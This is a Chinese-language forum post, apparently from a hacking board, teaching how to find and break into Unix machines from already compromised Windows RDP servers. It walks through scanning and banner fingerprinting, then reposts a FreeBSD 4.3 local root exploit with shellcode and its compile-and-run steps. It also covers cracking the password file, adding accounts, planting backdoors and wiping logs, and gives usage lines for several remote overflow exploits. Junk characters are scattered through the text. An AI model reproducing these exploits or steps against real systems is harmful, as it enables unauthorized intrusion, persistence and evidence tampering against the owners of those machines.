- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
今天的话题是怎么样找unix肉鸡,我想这对于一个有很多windows肉鸡而没有unix肉鸡的人是很有必要。8 z- ?; c5 V' W& c
不罗嗦,直入正题。为什么说是我和x-laser一起找肉鸡呢?因为我们的一切操作全部是在3389肉鸡上进行的。首先我们都上到同一个终端,(前提:终端是对方开的,而不是你自己做的,这样才有终端服务管理器可用)然后用管理工具中的终端管理进行id切换(选择用户进行连接)
" z* X* i) ~/ h2 t1 I- E/ |! e2 ^& ]0 E
这样,两个人就可以互相控制对方了,一举一动都很清楚,这种方法很好,大大提高了效率,也增加了入侵时的乐趣。建议大家推广 :)
2 R, [8 U! c3 T2 g# { 下面我们开始工作。由于是在win上搞unix类,所以我们最好要有在win上用的exploit,以得到第一台unix肉鸡。关于在win上用的exploits可以用cygwin编译(在www.isfocus.com)有下载。或者直接去大鹰的主页(e4gle.org)或者红客技术联盟(www.cnhonker.net/old.php)下载,注意了,要一起下那个cygwin1.dll的文件,不然搞不成。* R: B8 m+ ~8 Z0 m" p9 I8 E( K" H- X
现在我们要做的是找出大量unix的肉鸡,然后再去找漏洞,但是怎么找呢?这时候,就请出了我们的languard network scanner,在做了简单的设置让他跑的快点后,我们就开始扫描
" B, |. t7 o* v" W/ [) e
4 U, p& y% O4 D7 ^& P! d7 a: s0 ~. V) M# \4 C& _" h: v, M5 |1 M
我们看到有一台freebsd,这个系统比较好欺负,因为前段时间有个沸沸扬扬的telnetd远程溢出漏洞。当然我们也可以用superscan来快速判断操作系统.我们用superscan扫23端口,因为telnet上去一般都有banner,从而得知操作系统类型.如下1 S# }) L5 X) j7 y9 m# v- Z$ l4 p
! Z e! S6 Z6 W& l7 A我们扫到了两台linux,….. ..#..’是linux的判断符.! t" ~+ }! X* k/ ]: b
……..#..’..$则是sunos的判断符,如此等等,大家用用就有经验了.
7 W8 |( U8 u6 O2 d% s" U0 |' Q
1 Z& G# ]; J0 _6 a. F) T% [) {1 s; g3 V- ]; j0 u8 R) o* @0 R9 W
言归正转,来看我们的freebsd.我们在红盟下好bsd.exe和cygwin1.dll后,就开始溢出了。
, t+ b: x; s/ ^7 y: ]5 L
9 J! I* h# ^" w3 \/ F; W由于要发送16M的东西,所以可能会慢点. B# d6 I! H \% `. Z6 V5 H/ h! c
等到成功后,会出现 command ?' s# J4 g R7 m2 ?- x* ^! {. ^
这是输入 id
# n: }' d+ i6 N可以看到自己已经成为root了。当然,大家还可以把shadow抓下来,bsd下的sh
) M" J% ^2 m. M2 ^adow文件是/etc/master.passwd,然后john跑个用户名出来(在www.xfocus.net有john的windows下的版本下载,也是用cygwin编译的),再telnet上去,就得到了普通帐号(因为root帐号一般比较难破),再进行本地溢出。为什么要这么麻烦呢?因为我们远程得到的shell很多都没有回显,所以不方便添加帐号。一般在bsd下添加帐号是在/usr/sbin下执行./adduser ,然后按着提示做就可以了,bsd系统很稳定,很多大型网站都是用这个建站,比如红盟。本地溢出的代码我在这里贴一下$ F D3 J4 n7 W8 t2 u; ?- K! h
" m( L& K6 p! W, M" W0 d X& L?受影响版本: FreeBSD 4.3 4.2 4.1 4.0
5 [0 l0 `% B4 B早期版本也许受影响 测试程序使用方法: </P>4 X% F* O- Q/ {/ l
netdemon%gcc -o vvbsd vvbsd.c netdemon%cp /bin/sh /tmp netdemon%./vvbsd vvfreebsd. Written by Georgi Guninski shall jump to bfbffe71 child=61056 login: login: # done # </P>
0 q/ |0 y' h. c' l发现 FreeBSD 4.3 存在一个设计上的漏洞,它允许用户在其它进程中插入 signal handlers。 </P>, X ]7 c+ ?; Y' y, |
题出在 rfork(RFPROC|RFSIGSHARE) ,如果子进程 exec() 一个 setuid 程序,然后父进程设置一个 signal handlers,这个 signal handlers 将会在子进程中被复制。发送一个信号给子进程将能导致 signal handlers 被执行。 利用此漏洞,本地攻击者能取得 root 权限。 vvfreebsd.c # g) d6 E$ d& K8 }) z3 b% R
1 _- [7 g6 ?& S# j! @1 ~, O ???? /* FreeBSD 4.3 local root exploit using shared signals. Written by Georgi Guninski http://www.guninski.com */ #include <stdio.h> #include <signal.h> #include <unistd.h> int vv1; #define MYSIG SIGINT //exec "/tm% `7 q8 o3 f+ o+ F
p/sh", shellcode gotten from the internet and modified unsigned char bsdshell[] = "\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x50\x50\xb0\xb7\xcd\x80" "\x31\xc0\x50\x50\xb0\x17\xcd\x80" "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53" "\xb0\x3b\x50\xcd\x80\x90\x90\x90"; typedef (*PROG)(); extern char **environ; int main(int ac,char **av) { int pid; //(*(PROG)bsdshell)(); if(!(vv1=getenv("vv"))) { setenv("vv",bsdshell,1); if(!execle(av[0],"vv",NULL,environ)) { perror("weird exec"); exit(1); } } printf("vvfreebsd. Written by Georgi Guninski\n"); printf("shall jump to %x\n",vv1); if(!(pid=rfork(RFPROC|RFSIGSHARE))) { printf("child=%d\n",getpid()); // /usr/bin/login and rlogin work for me. ping gives nonsuid shell // if(!execl("/usr/bin/rlogin","rlogin","localhost",0)) if(!execl("/usr/bin/login","login",0)) { perror("exec setuid failed"); exit(2); }; } sleep(2); signal(MYSIG,(sig_t)vv1); sleep(2); kill(pid,MYSIG); printf("done\n"3 b4 J( g/ ]3 | u6 I4 ]# p( |
); while(42); } </P>* B( p- Z0 @6 z2 {: `) }0 R" M, a
/* www.xcode.tw.st 极端网络安全小组 */# D6 A( R4 t6 Z3 S; o+ }2 v& A: \
5 G/ G2 z$ ]. ^) w, W, T- Z* f
" \ z0 x* s- A5 w& ?$ r可以找到可写的地方,然后cat >vv.c 回车
/ T$ L2 L; V- ^7 G; n" I. v. E o(鼠标右健粘贴)
4 `9 u8 ] W5 n1 Q6 i/ ]% A9 W% U; zctrl + d保存
. x1 u4 a7 v/ K* w* @* F$gcc –o vv vv.c编译(gcc在solaris和aix等系统下叫做cc)4 w' B2 o) [1 s: J7 }5 m$ x
$cp /bin/csh /tmp% v$ s. f8 o2 B! f
$./vv
( q. p* x! q& d7 W- L& T( A# M$ d这样就执行了,一般可以得到root.注意第二句,这是代码的需要
2 g% i" Q4 p0 `! e [7 E; K5 |6 U然后就去adduser然后再放一堆后门上去吧
( X1 |5 {( j. r; {) M几点补充:1.命令w查看当前哪些在线,要是看见root就要小心了
/ G- x: Y5 v0 `7 O3 M2
6 y4 P6 m O3 e.Whereis gcc查看装了gcc没有,whereis的用法很灵活' n* V! X" S3 T @% p$ I2 n
3如果没装就需要把编译好的传上去,我们一般是申请一个ftp,然后编译好,传到ftp上,在让攻击的机子去下载(51.net的虚拟主机就可以完成这项任务)
& a6 q% F" B. Y$ {) N4记得每次上去要用wipe清理足迹,wipe在小凤居有下载+ t! b$ o1 h2 v1 M; v4 y* s
</P>
1 e- N% v+ M# w1 y0 R. h' S9 P另外再附几种常见的exploit的用法; n, }' j* B5 w" o: _6 _
0 l# w# l5 q" v7 `6 d. T0 d' G7 V
- C x0 A2 f& z: h
目标主机一律用128.0.0.1代替! 1 statdu[vdp]redhat6.xrpc status远程溢出! </P>
3 g" ]% B+ o0 |4 J' U. }溢出程序: statdx 用法: </P>
@5 m8 L) g' t% W2 j2 O$ ?./statdx -d 0 128.0.0.1或者 </P>
5 S& f n; B5 S( f./statdx -d 1 128.0.0.1或者 </P>8 [# _6 [/ z( [# W, u: C; b
./statdx -d 2 128.0.0.1 </P>7 U2 \, Q7 k& y
2 sadmind[vdp]sun solaris sparc 2.6.2.7远程溢出 </P>
; F, F2 K( c& e7 V0 i- u溢出程序: sadmindxbrute 用法 </P>
8 q% ^$ W7 @6 x- S: `1 B; |, L./sadmindxbrute (主机类型参数) 128.0.0.1 主机参数 1 x86 2.6 2 x86 7.0 3 sparc 2.6 4 sparc 7.0 3 ttdb[tcp]sun solaris 2.3 2.4 2.5 2.5.12.6远程溢出 </P>% ]! A" Y% o, x+ c+ q/ h
所用程序 ttds(已经改名)流光iv的exploit内可以找到 </P>* }( B/ |5 }' F! j5 `
用法: ./ttds 128.0.0.1 80(攻击断口设置为80)-v6 4 snmp[bdp]sun solaris sparc 7.0/8.8远程溢出 </P>
4 X. [3 L$ u- u3 ~7 v所用程序 snmpxmid </P>+ c. t( x+ O3 X6 I2 R4 \" E
用法: ./snmpxmid 128.0.0.1 -v 7 5 bind 远程溢出 </P>
% {* n) V/ g2 G) b程序bind </P>- _7 g4 X3 R/ k; C* h: {
用法: ./bind 128.0.0.1 -e 6 irix的telnet远程溢出(这个可能用流光iv扫描不到) </P>
& p% h. y3 s9 @9 E$ y1 [所用程序telnetd </P> k9 V: F! C" D7 S7 Q" g# n
用法: ./telnetd 128.0.0.1 7 utofsd[vdp]bsd autofsd远程溢出,tcp 530 root shell </P>8 z' @3 {* W8 y+ f4 T# L5 d$ k9 v: l
所用程序 utofsd </P>" q/ v% R; y3 v8 L
用法: ./utofsd 128.0.0.1 8 freebsd远程溢出 </P>
5 Q0 u. ~7 ` w y; b这个可以通过www.paching.net/liumy写的bsd攻击程序在winnt下使用方法 bsd 128.0.0.1 其他的远程溢出程序也不麻烦 你只要把程序编译好之后输入 ./程序名 --h就可以看到帮助了!8 |' u3 N; H4 {1 g
8 K+ }5 R) c- j/ }+ x) _
补充一点,很多写exploit的牛人为了让自己的exploit给真正的黑客用,故意在代码里放了几个错误,所以大家还是要学好编程的这样,就可以根据gcc编译器的错误提示把错误的代码改过来。今天我们讲了怎样找unix类肉鸡,当然还是要看运气,不过我和x-laser在3389肉鸡扫描很疯狂,用superscan一次一般是扫255个c段用languard也扫的很多,所以建议大家多多实践.最后,奉劝一句,不要入侵国内,不要搞破坏! </P> |
zan
|